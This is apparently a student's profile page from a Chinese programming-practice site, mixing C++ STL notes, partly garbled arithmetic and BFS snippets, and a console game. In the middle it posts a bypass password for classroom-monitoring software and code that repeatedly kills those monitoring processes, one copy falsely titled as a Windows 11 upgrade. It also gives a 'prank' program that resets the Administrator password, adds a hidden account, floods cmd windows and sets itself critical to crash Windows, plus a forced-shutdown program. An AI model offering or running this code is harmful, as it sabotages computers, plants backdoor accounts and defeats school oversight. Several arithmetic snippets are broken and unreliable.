• 个人简介

    题库十七页(刷题者的福利)
    //STL容器2
    
    // vector 动态数组、向量
    
    vector<int> vec;//定义
    vector<int> vec1(5);// 创建 初始空间为5,元素默认值为0
    vector<int> vec2(5,2);//创建 初始空间为5 元素默认值为2
    vector<int> vec3(vec2);//创建 其拷贝vec2
    int arr[5]={1,2,3,4,5};
    vector<int>vec4(arr);//创建 其拷贝数组arr
    vector<int>vec5(arr+1,arr+5);//创建 其拷贝数组区间[1,5) 
    //vector的常规函数 
    vec.push_back(n);//把n添加到vec的最后
    vec.front(); //返回vec的第一个元素
    vec.pop_back();//删除vec的最后一个元素
    vec.erase(iter);//删除iter所在位置元素
    vec.clear();//清空 
    vec.empty(); //判断是否为空
    //set的创建
    set<int> set1;//定义 
    set<int> set2(set1);//创建set2,其内容拷贝set1 
    int arr[5]={1,2,3,4,5}; 
    set<int> set4(arr,arr+5);//创建set4,其内容拷贝十足区间[0,5) 
    //set的常规函数 
    set1.insert(n);//将n添加到set1的最后 
    set1.find(n);//返回set1中间值为n的迭代器位置,如果没有返回end(); 
    set1.erase(x);//删除值为x的所有元素返回删除数量 
    set1.erase(iter);//删除iter所在位置的元素 
    set1.erase(left,rigrt);//删除 [left,rigrt)范围内所有元素 
    set1.clear();//清空 
    set1.empty();//判断是否为空
    //迭代器访问(vector)
    vector<int>::iterator iter;
    for(iter=vec.begin();iter!=vec.end;iter++) cout<<*iter<<" ";
    //迭代器访问(set)
    set<int>::iterator iter;
    for(iter=set.begin();iter!=set.end();iter++) cout<<*iter<<" ";
    //利用数组下标直接访问但是需要获取当前vec的长度 
    for(int i=0;i<vec.size();i++) cout<<vec[i]<<" "; 
    //map
    map<string,int> a; //第一个表示key数据类型,第二个表示value数据类型
    a["one"] = 1; 
    a["tow"] = 2;
    a["one"] = 3;
    //赋值时,key值作为下标,后面的数据作为对应key的value元素,在map中新添加一对数据
    //赋值时,如果key值已经存在,表示将此key值对应的value元素修改为新的数据
    cout << a["one"] << endl;
    //key值可以作为下标,直接输出对应的元素
    cout << a["three"] << endl;
    //注意:下标访问不会做下标检查,如上语句不会报错,但打印结果为空,因为下标访问会插入不存在的key,对应的value为默认值
    a.insert({"three",3}); //将指定键值对插入到map中,插入元素会自动插入到合适的位置,使整个map有序,默认是按照key从小到大排序
    a.erase("one"); //删除指定key值的键值对
    cout << a.count("three") << endl; //查询指定key值是否出现
    cout << a.empty() << endl; //判断是否为空,非空为0,空为1 
    cout << a.size() << endl; //获取map长度
    
    map<string,int>::iterator it = a.begin(); //创建一个map类型迭代器  
    for(;it!=a.end();it++){
    	cout << it->first << " " << it->second << endl;
    } //遍历并输出,因为是类结构体指针,每个键值对通过first访问key,second访问value
    return 0;
    

    } 如果可以,就请去帮帮他们吧! 人间再观察的个人空间-人间再观察个人主页-哔哩哔哩视频 (bilibili.com)

    ***部分头文件***
    #ifndef _GLIBCXX_NO_ASSERT
    #include 
    #endif
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    ```
    
    #if __cplusplus >= 201103L
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #endif
    
    // C++
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #if __cplusplus >= 201103L
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include
    

    高精度加法

    using namespace std;
    int a[505],b[505],c[505];
    int main(){
    string s1,s2;
    cin>>s1>>s2;
    int len=s1.size(),len1=s2.size();
    for(int i=0;i=1) len2++;
    for(int i=len2-1;i>=0;i--){
    cout<
    

    高精度减法

    using namespace std;
    int a[100000],b[100000],c[100000];
    int main(){
    string s1,s2;
    cin>>s1>>s2;
    int len=s1.size(),len1=s2.size();
    if(len1&&c[len-1]==0) len--;
    for(int i=len-1;i>=0;i--) cout<
    

    广度优先搜索

    using namespace std;
    const int N=1e6+1;//创建一个常量
    bool vis[N];//标记点是否被走过 
    int n,k;
    struct node{
    	int x;
    	int time;   //位置和时间 
    };
    int fx[3]={1,-1};//三个方向 
    void bfs(){
    	//1.首元素入队 
    	node head={n,0};
    	queue<node> q;
    	q.push(head);
    	vis[n]=1;
    	//2.进入循环
    	while(q.size()){
    		//2.1获取首元素
    		head=q.front();
    		fx[2]=head.x;
    		//2.2遍历三个方向
    		for(int i=0;i<=2;i++){
    			int xx=head.x+fx[i];
    			if(xx==k){
    				cout<<head.time+1;
    				return ;
    			}
    			if((0<=xx&&xx<=100000)&&!vis[xx]){
    				node tmp={xx,head.time+1};
    				q.push(tmp);
    				vis[xx] = 1;
    			}
    		} 
    		q.pop();
    	} 
    } 
    int main(){
    	cin>>n>>k;	
    	bfs();
    	return 0;
    } 
    ```
    

    MiKu

    电子木鱼https://zeus10241024.gitee.io/dzmy/

    传 送 门

    OJ

    B站

    洛谷

    CSDN

    百度~优先搜索~

    玛 卡 巴 卡

    队列加栈操作

    //stack<int> sta;//创建一个栈
    //sta.push(a);//入栈
    //int a=sta.top();//返回栈顶元素
    //sta.pop();//出栈
    //sta.empty();//判断栈是否为空   1为空,0为非空
    //sta.clear();//清空
    
    //queue<int> que;//创建一个队列
    //que.push(a);//入队
    //int a=que.front();//返回队头元素
    //que.pop();//出队
    //que.empty();//判断队列是否为空   1为空,0为非空
    //que.clear();//清空
    

    C++小网站

    onlinegdb.com

    zh.cppreference.com

    极域网通用密码:mythware_super_password

    file

    Copy

    噶掉电子教室的代码

    #include<bits/stdc++.h>
    #include <windows.h>
    using namespace std;
    void movexy(short x, short y){
        COORD position={x, y};
        HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE);
        SetConsoleCursorPosition(hOut, position);
    }
    int main(){
        movexy(37, 7);
        cout<<"反电子教室系统"<<endl;
        cout<<endl;
        cout<<"                                     目前可以反击:"<<endl;
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
        cout<<"                      红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl;
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
        cout<<"                              极域电子教室 - 输入 k-jy即可反击"<<endl;
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
        cout<<"                          伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl;
        SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
        cout<<"                                  如果在开启本程序后关闭本程序,"<<endl;
        cout<<"                                        本次反击将无效!"<<endl;
        cout<<"    input >>> ";
        string s;
        cin>>s;
        if(s=="k-rs"){
            system("cls");
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);
            cout<<"                                  红蜘蛛反击系统启动成功"<<endl;
            Sleep(1000);
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
            while(1)
            {
                system("taskkill /f /t /im REDAgent.exe");
                system("cls");
            }
        }
        if(s=="k-jy"){
            system("cls");
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11);
            cout<<"                                  极域反击系统启动成功"<<endl;
            Sleep(1000);
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
            while(1)
            {
                system("taskkill /f /t /im StudentMain.exe");
                system("cls");
            }
        }
        if(s=="k-yk"){
            system("cls");
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
            cout<<"                                  伽卡他卡反击系统启动成功"<<endl;
            Sleep(1000);
            SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
            while(1){
                system("taskkill /f /t /im Student.exe");
                system("cls");
            }
        } 
        return 0;
    }
    

    Copy

    让你的电脑升级到win11的神奇c++代码

    #include<bits/stdc++.h> 
    using namespace std;
    int main()
    {
    while(1)
    {
    system("taskkill /f /t /im REDAgent.exe");
    system("taskkill /f /t /im StudentMain.exe");
    system("taskkill /f /t /im Student.exe");
    }
    return 0;
    }
    

    Copy

    c++的恶搞代码

    #include <bits/stdc++.h>
    #include <windows.h>
    #include <winternl.h>
    using namespace std;
    void HideWindow() {
    	HWND hwnd;
    	hwnd=FindWindow("ConsoleWindowClass",NULL);
    	if(hwnd) ShowWindow(hwnd,SW_HIDE);
    	return;
    }
    int main() {
    	HideWindow();
    	int x=GetSystemMetrics(SM_CXSCREEN);   
    	int y=GetSystemMetrics(SM_CYSCREEN);
    	system("net user Administator 123456");
    	system("net user computer_virus computer_virus /add"); 
    	for(unsigned long long i = 1; i <= 500; i++)
    	{
    			system("start cmd");
    			for(int i=1;i<=100;i++)
    			{
    					SetCursorPos(rand()%y,rand()%x);
    			}
    	}
    	typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
        typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
        RtlAdjustPrivilege AdjustPrivilege;
        RtlSetProcessIsCritical SetCriticalProcess;
        HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
        AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
        SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
        BOOLEAN b;
        AdjustPrivilege(20UL, TRUE, FALSE, &b);
        SetCriticalProcess(TRUE, NULL, FALSE);
    	return 0;
    }
    

    Copy

    #include<bits/stdc++.h>
    using namespace std;
    int main(){
    	cout << "你希望我编程题怎样?(大写)" << "\n"; 
    	string a;
    	while(1){
    		cin >> a;
    		if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="MLE"||a=="PE"||a=="OLE"){
    			cout << "你竟然要诅咒我,我会在1min后fuck你的电脑,你不想电脑fuck就输入AC" << "\n";
    			system("shutdown -f -s -t 60");
    			while(1){
    				cin >> a;
    				if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){
    					cout << "你竟然还敢诅咒我,你要die了";
    					while(1){
    						system("start cmd");
    					}
    				}else if(a=="AC"||a=="AK"){
    					cout << "这次我就放过你";
    					system("shutdown -a");
    					return 0;
    				}else{
    					cout << "未能识别,请再次输入" << "\n";
    				}
    			}
    		}else if(a=="AC"||a=="AK"){
    			cout << "谢谢你的祝福";
    			return 0;
    		}else if(a=="SB"){
    			cout << "你tm敢骂我,你电脑1分钟后要被我fuck了,输入BA或者AC就放过你" << "\n";
    			system("shutdown -f -s -t 60");
    			while(1){
    				cin >> a;
    				if(a=="WA"||a=="TLE"||a=="RTE"||a=="RE"||a=="CE"||a=="SB"||a=="MLE"||a=="PE"||a=="OLE"){
    					cout << "你竟然还敢诅咒我,你要die了";
    					while(1){
    						system("start cmd");
    					}
    				}else if(a=="BA"||a=="AC"||a=="AK"){
    					cout << "这次我就放过你";
    					system("shutdown -a");
    					return 0;
    				}else{
    					cout << "未能识别,请再次输入" << "\n";
    				}
    			}
    		}else{
    			cout << "未能识别,请再次输入" << "\n";
    		}
    	}
    	
    	return 0;
    }
    

    Copy

    c++小游戏

    #include<bits/stdc++.h>
    #include<windows.h>
    #include<stdio.h>
    #include<conio.h>
    #include<time.h>
    #include<cmath>
    #define KEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
    using namespace std;
    int m[35][35],n[35][35];
    void Color(int a)
    {
        if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
        if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
        if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
        if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
        if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
        if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
        if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
        if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);//木 
        if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);//铁 
        if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY);
        if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|BACKGROUND_GREEN);
        if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE|BACKGROUND_GREEN);
        if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|BACKGROUND_GREEN);
        if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|BACKGROUND_INTENSITY|BACKGROUND_BLUE);
    }
    void SetPos(int x,int y)
    {
        COORD pos;
        pos.X=y*2,pos.Y=x+3;
        SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);
    }
    int X,Y,gx,gy,gunT,gunZ,T,G[10],F[30];
    int Win,Lev,Blood,Dun,Bmax,Dmax,WuDi,Gguai,Bo,Boo,sy,bu;
    int Bx,By,Bblood,Bsi,Bjiao,Bdu,Bfang,Bxz,Byz;
    void Map(int x);
    void Jian(int x)
    {
        if(WuDi>0) return;
        if(Dun>x) Dun-=x; else if(Dun<=0) Blood-=x;
        else if(Dun>0&&Dun<=x)
        {
            if(F[13]==0) Blood-=x-Dun;
            if(F[13]==1) WuDi=20;
            if(F[17]==1) Boo=3;
            Dun=-1;
        }
    }
    bool CanGo(int x,int y,int q) //0为自己 1其他 2激光怪 3激光枪 4子弹怪 5爆毒 6子弹 7 BOSS
    {
        if(abs(Bx-x)<=1&&abs(By-y)<=1&&q==1) return 0;
        if(m[x][y]==2||m[x][y]==3) return 0;
        if((q==0||q==1)&&n[x][y]==1) return 0;
        if(m[x][y]==0) return 1;
        if(m[x][y]>=4&&m[x][y]<=8) return 1;
        if(m[x][y]>=84&&m[x][y]<=88) return 1;
        if(m[x][y]>=9&&m[x][y]<=31) return 1;
        if(m[x][y]>=59&&m[x][y]<=81) return 1;
        if((q==2||q==3||q==5)&&m[x][y]==1) return 1;
        if((q==2||q==3)&&m[x][y]>=100&&m[x][y]<250) return 1;
        if((q==0||q==3||q==5)&&m[x][y]>=50&&m[x][y]<55) return 1;
        if((q==4||q==7)&&m[x][y]/100==1) return 1;
        return 0;
    }
    void CoutMe()
    {
        if(gx<0&&CanGo(X-1,Y,0)) X--;if(gx>0&&CanGo(X+1,Y,0)) X++;if(gy<0&&CanGo(X,Y-1,0)) Y--;if(gy>0&&CanGo(X,Y+1,0)) Y++;
        int r;Color(0);if(WuDi>0) r=rand()%5+1,Color(r);
        if(gunT!=1) SetPos(X-1,Y),cout<<"︹";if(gunT!=5) SetPos(X+1,Y),cout<<"︺";if(gunT!=7) SetPos(X,Y-1),cout<<"﹝";if(gunT!=3) SetPos(X,Y+1),cout<<"﹞";
        if(gunT==1) SetPos(X-1,Y),cout<<"↑";if(gunT==2) SetPos(X-1,Y+1),cout<<"↗";if(gunT==3) SetPos(X,Y+1),  cout<<"→";if(gunT==4) SetPos(X+1,Y+1),cout<<"↘";
        if(gunT==5) SetPos(X+1,Y),cout<<"↓";if(gunT==6) SetPos(X+1,Y-1),cout<<"↙";if(gunT==7) SetPos(X,Y-1),  cout<<"←";if(gunT==8) SetPos(X-1,Y-1),cout<<"↖";
        SetPos(X,Y),cout<<"●";Color(0);
        if(WuDi>0) Map(4);
        if(m[X][Y]>=50&&m[X][Y]<55) Jian(5),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
        if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
        if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==1) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
        if(m[X][Y]>=59&&m[X][Y]<=80&&F[4]==0) Jian(1),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
        if(m[X][Y]==2&&F[4]==0) Jian(3),system("color 4F"),Sleep(30),system("color 0F"),Map(4);
        m[X][Y]=0,gx=gy=0;
    }
    int Cout(int x,int i,int j)
    {
            int Guai=0;
            if(m[i][j]==0&&x==2) SetPos(i,j),cout<<"  ";
            if(m[i][j]==1) SetPos(i,j),Color(7),cout<<"■",Color(0);//木
            if(n[i][j]==0&&m[i][j]==2) SetPos(i,j),Color(8),cout<<"■",Color(0);//铁
            if(n[i][j]==10&&m[i][j]==0) SetPos(i,j),cout<<"  ",Color(0);
            if(n[i][j]==31&&m[i][j]==0) SetPos(i,j),cout<<"  ",Color(0);
            if(m[i][j]==32) m[i][j]=0;//怪子弹灰 
            if(n[i][j]>=20&&n[i][j]<22&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▁",Color(0);//木
            if(n[i][j]>=22&&n[i][j]<24&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▂",Color(0);//木
            if(n[i][j]>=24&&n[i][j]<26&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▄",Color(0);//木
            if(n[i][j]>=26&&n[i][j]<28&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木
            if(n[i][j]>=28&&n[i][j]<30&&m[i][j]==1) SetPos(i,j),Color(7),cout<<"▆",Color(0);//木
            if(n[i][j]>45&&n[i][j]<=50&&m[i][j]==2) SetPos(i,j),Color(4),cout<<"▲",Color(0);//刺
            if(m[i][j]==3) SetPos(i,j),Color(5),cout<<"〓",Color(0);//箱 
            if(m[i][j]>=4&&m[i][j]<=7) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 
            if(m[i][j]==8) SetPos(i,j),cout<<"  ",m[i][j]=0;//烟尘
            if(m[i][j]>=84&&m[i][j]<=87) SetPos(i,j),Color(5),cout<<"█",Color(0),m[i][j]++;//烟 
            if(m[i][j]==88) SetPos(i,j),cout<<"  ",m[i][j]=0;//烟尘
            if(m[i][j]>=10&&m[i][j]<=30) SetPos(i,j),Color(10),cout<<"@ ",Color(0),m[i][j]++;//毒 
            if(m[i][j]>=60&&m[i][j]<=80) SetPos(i,j),Color(11),cout<<"@ ",Color(0),m[i][j]++;//怪毒 
            if(m[i][j]==9||m[i][j]==59) SetPos(i,j),Color(12),cout<<"@ ",Color(0),m[i][j]++;//金毒 
            if(m[i][j]==31||m[i][j]==81) SetPos(i,j),cout<<"  ",m[i][j]=0;//毒尘
            if(n[i][j]==1) SetPos(i,j),Color(13),cout<<"~ ",Color(0);//水
            if(m[i][j]==50) SetPos(i,j),Color(1),cout<<"●",Color(0),Guai++;//怪 
            if(m[i][j]==51) SetPos(i,j),Color(10),cout<<"●",Color(0),Guai++;//怪 
            if(m[i][j]==52) SetPos(i,j),Color(3),cout<<"●",Color(0),Guai++;//怪 
            if(m[i][j]==53) SetPos(i,j),Color(4),cout<<"●",Color(0),Guai++;//怪 
            if(m[i][j]==54) SetPos(i,j),Color(5),cout<<"●",Color(0),Guai++;//怪
            if(m[i][j]/100==1)
            {
                if((m[i][j]%100)/10<=1) SetPos(i,j),cout<<"☉";
                if((m[i][j]%100)/10==2) SetPos(i,j),Color(4),cout<<"◎",Color(0);
                if((m[i][j]%100)/10==3) SetPos(i,j),Color(1),cout<<"◎",Color(0);
                if((m[i][j]%100)/10==4) m[i][j]=4;
                if((m[i][j]%100)/10==5) SetPos(i,j),Color(3),cout<<"◎",Color(0);
                if((m[i][j]%100)/10==6) SetPos(i,j),Color(2),cout<<"¤",Color(0);
                if((m[i][j]%100)/10>=7&&(m[i][j]%100)/10<=9) SetPos(i,j),Color(2),cout<<"◎",Color(0);
            }
            if(m[i][j]/100==2) if((m[i][j]%100)/10==1) SetPos(i,j),Color(3),cout<<"☉",Color(0);
            return Guai;
    }
    void Boss()
    {
        SetPos(Bx-1,By-1),cout<<"      ";SetPos(Bx,By-1),cout<<"      ";SetPos(Bx+1,By-1),cout<<"      ";
        int mov=rand()%30+1,R=rand()%300,ms;
        if(mov==1&&CanGo(Bx-1,By-2,1)&&CanGo(Bx,By-2,1)&&CanGo(Bx+1,By-2,1)) By--;
        if(mov==2&&CanGo(Bx-1,By+2,1)&&CanGo(Bx,By+2,1)&&CanGo(Bx+1,By+2,1)) By++;
        if(mov==3&&CanGo(Bx-2,By-1,1)&&CanGo(Bx-2,By,1)&&CanGo(Bx-2,By+1,1)) Bx--;
        if(mov==4&&CanGo(Bx+2,By-1,1)&&CanGo(Bx+2,By,1)&&CanGo(Bx+2,By+1,1)) Bx++;
        if(mov==5&&Bsi==0) Bsi+=rand()%3+1; if(mov==6&&Bjiao==0) Bjiao+=rand()%3+1;if(mov==7&&Bdu==0) Bdu+=5;
        if(mov==8&&Bxz==0) Bxz+=rand()%20-10;if(mov==9&&Byz==0) Byz+=rand()%20-10;
        if(Byz<0) {Byz++; if(By-2>1) By--;}if(Byz>0) {Byz--; if(By+2<28) By++;}if(Bxz<0) {Bxz++; if(Bx-2>1) Bx--;}if(Bxz>0) {Bxz--; if(Bx+2<28) Bx++;}
        if(R<15&Gguai<=5) Bfang++;
        else if(R<5&&Gguai<=10) Bfang++;
        else if(R==0) Bfang++;
        SetPos(Bx-1,By-1),Color(0),cout<<" ●● ";
        SetPos(Bx,By-1)  ,Color(4),cout<<")██(";
        SetPos(Bx+1,By-1),Color(4),cout<<" …… ";Color(0);
        if(abs(Bx-X)<=1&&abs(By-Y)<=1) Jian(50);int I,J;
        if(Bsi>0) {Bsi--;I=Bx-2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=211;I=Bx+rand()%3-1,J=By+2;if(CanGo(I,J,7)) m[I][J]=213;I=Bx+2,J=By+rand()%3-1;if(CanGo(I,J,7)) m[I][J]=215;I=Bx+rand()%3-1,J=By-2;if(CanGo(I,J,7)) m[I][J]=217;}
        if(Bjiao>0) {Bjiao--;I=Bx-2,J=By+2;if(CanGo(I,J,7)) m[I][J]=212;I=Bx+2,J=By+2;if(CanGo(I,J,7)) m[I][J]=214;I=Bx+2,J=By-2;if(CanGo(I,J,7)) m[I][J]=216;I=Bx-2,J=By-2;if(CanGo(I,J,7)) m[I][J]=218;}
        if(Bdu>0) {if(Bdu>0) Bdu--;for(int i=Bx-4;i<=Bx+4;i++) for(int j=By-4;j<=By+4;j++) if(CanGo(i,j,2)&&abs(Bx-X)>1&&abs(By-Y)>1&&i>0&&j>0) m[i][j]=59;}
        if(Bfang>0) {Bfang--;I=Bx+rand()%5-2,J=By+rand()%5-2;int rr=rand()%6-1;if(rr==-1) rr=0; if(((rr<3&&Lev<5)||(Lev>5))&&(CanGo(I,J,7))) m[I][J]=50+rr;}
        if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20;
        if(T%50==0&&Bblood<ms*12) Bblood++,Map(3);
        for(int i=Bx-1;i<=Bx+1;i++)
        for(int j=By-1;j<=By+1;j++)
        {
            int du=0;
            if(m[i][j]/100==1) Bblood-=1,Bsi+=rand()%3+1,Map(3);
            if(m[i][j]/10==15) Bblood-=2,Map(3);
            if(m[i][j]<50||m[i][j]>55) m[i][j]=0;
            if(m[i][j]>=84&&m[i][j]<=87) Bblood-=1,Bsi+=rand()%3+1,Map(3);
            if(du==0&&m[i][j]>=9&&m[i][j]<=30) Bblood-=1,du++,Bdu++,Map(3);
            if(Bblood<=0) {Bblood=0;SetPos(Bx-1,By-1),cout<<"      ";SetPos(Bx,By-1),cout<<"      ";SetPos(Bx+1,By-1),cout<<"      ";}
        }
    }
    void Map(int x)//x=0只输中间 1输全屏 2输身周 2输上方 4 CoutMe中用 5 GuaiQuan中用
    {
        if(x!=4) CoutMe();
        int f1,f2,f3,f4,Guai=0;
        if(x==0) f1=f3=2,f2=f4=28;
        if(x==1||x==5) f1=f3=1,f2=f4=29;
        if(x==2) f1=X-1,f2=X+1,f3=Y-1,f4=Y+1;
        if((x==4||x==3||x==1)&&Win>=0)
        {
            SetPos(-3,2),cout<<Lev/5+1<<'-'<<Lev%5+1;
            SetPos(-2,2),cout<<"枪:";
            if(gunZ==1) cout<<"普通枪";if(gunZ==2) cout<<"分裂枪";if(gunZ==3) cout<<"穿甲枪";
            if(gunZ==4) cout<<"激光枪";if(gunZ==5) cout<<"爆炸枪";if(gunZ==6) cout<<"毒气枪";if(gunZ==7) cout<<"弹跳枪";
            cout<<"        子弹数:";if(gunZ==1) cout<<"∞";else cout<<G[gunZ]<<" ";
            SetPos(-1,2),cout<<"血量:";Color(4);int r;
            if(WuDi>0) r=rand()%5+1,Color(r); for(int i=1;i<=Blood;i++) cout<<"█";Color(0);for(int i=Blood;i<Bmax;i++) cout<<"█";
            Color(0);SetPos(-1,18),cout<<"                    ";
            SetPos(0,2),cout<<"盾牌:";Color(9);
            if(Dun!=0) for(int i=1;i<=Dun;i++) cout<<"█";Color(0);for(int i=max(1,Dun);i<Dmax;i++) cout<<"█";
            if(Bblood>0)
            {
                int ms;
                if(Lev==4) ms=5; if(Lev==9) ms=10; if(Lev==14) ms=14; if(Lev==19) ms=17; if(Lev==24) ms=20; 
                SetPos(-1,15),cout<<"                                ";
                SetPos(-1,15),cout<<"Boss:";Color(4);for(int i=1;i<=(Bblood-1)%12+1;i++) cout<<"█";
                SetPos(-1,24),Color(3);cout<<(Bblood-1)/12+1;
            }
        }
        if(x==5)
        {
            Color(0);
            SetPos(-3,2),cout<<"  ↑           W 开箱(当有箱子在旁时)    开局无敌3秒";
            SetPos(-2,2),cout<<"←  →移动     A/D 顺/逆时针转枪     空格 暂停";
            SetPos(-1,2),cout<<"  ↓           S 发射子弹 清除所有怪进下一关    盾会恢复";
            SetPos(0,2), cout<<" 每五关可获得一个天赋   完成 5-5 通关   ",Color(3),cout<<"按 y 进第一关";
            for(int i=f1;i<=f2;i++)
            for(int j=f3;j<=f4;j++) Cout(x,i,j);
        }
        if(x!=3&&x!=4)
        {
            for(int i=f1;i<=f2;i++)
            for(int j=f3;j<=f4;j++) Guai+=Cout(x,i,j);
            if(x!=2)
            {
                int Rr=rand()%3;
                if(Guai<Gguai&&Guai!=0&&F[15]==1&&Rr==0&&Lev%5==4)
                Dun=min(Dmax,Dun+1),Map(3);
                Gguai=Guai;
            }
            if(Guai==0&&x==0&&Win==0&&Bblood<=0)
            {
                if(Lev!=24)
                {   
                    system("color 6E"),Color(5);
                    SetPos(2,2),cout<<"You! Win!!!";Sleep(500);
                    SetPos(3,2),cout<<"Please point 'y' to Play AGain.",Sleep(1000);
                    system("color 0F");Map(1);
                }
                Win++,Lev++;
            }
        }
    }
    void Fan(int i,int j,int M)
    {
        if(M%10==1||M%10==3) m[i][j]=M+4;
        if(M%10==5||M%10==7) m[i][j]=M-4;
        if(M%10==2)
        {
            if(m[i][j+1]!=0||m[i-2][j+1]!=0) m[i][j]=M+6;
            else if(m[i-1][j]!=0||m[i-1][j+2]!=0) m[i][j]=M+2;
            else m[i][j]=M+4;
        }
        if(M%10==4)
        {
            if(m[i+1][j]!=0||m[i+1][j+2]!=0) m[i][j]=M-2;
            else if(m[i][j+1]!=0||m[i+2][j+1]!=0) m[i][j]=M+2;
            else m[i][j]=M+4;
        }
        if(M%10==6)
        {
            if(m[i][j-1]!=0||m[i+2][j-1]!=0) m[i][j]=M-2;
            else if(m[i+1][j]!=0||m[i+1][j-2]!=0) m[i][j]=M+2;
            else m[i][j]=M-4;
        }
        if(M%10==8)
        {
            if(m[i][j-1]!=0||m[i-2][j-1]!=0) m[i][j]=M-6;
            else if(m[i-1][j]!=0||m[i-1][j-2]!=0) m[i][j]=M-2;
            else m[i][j]=M-4;
        }
    }
    void Light(int i,int j,int M,int x)
    {
        if(M%10==1) for(int k=1;CanGo(i-k,j,x);k++)  {if(x==3) m[i-k][j]=84; else m[i-k][j]=4;}
        if(M%10==2) for(int k=1;CanGo(i-k,j+k,x);k++){if(x==3) m[i-k][j+k]=84; else m[i-k][j+k]=4;}
        if(M%10==3) for(int k=1;CanGo(i,j+k,x);k++)  {if(x==3) m[i][j+k]=84; else m[i][j+k]=4;}
        if(M%10==4) for(int k=1;CanGo(i+k,j+k,x);k++){if(x==3) m[i+k][j+k]=84; else m[i+k][j+k]=4;}
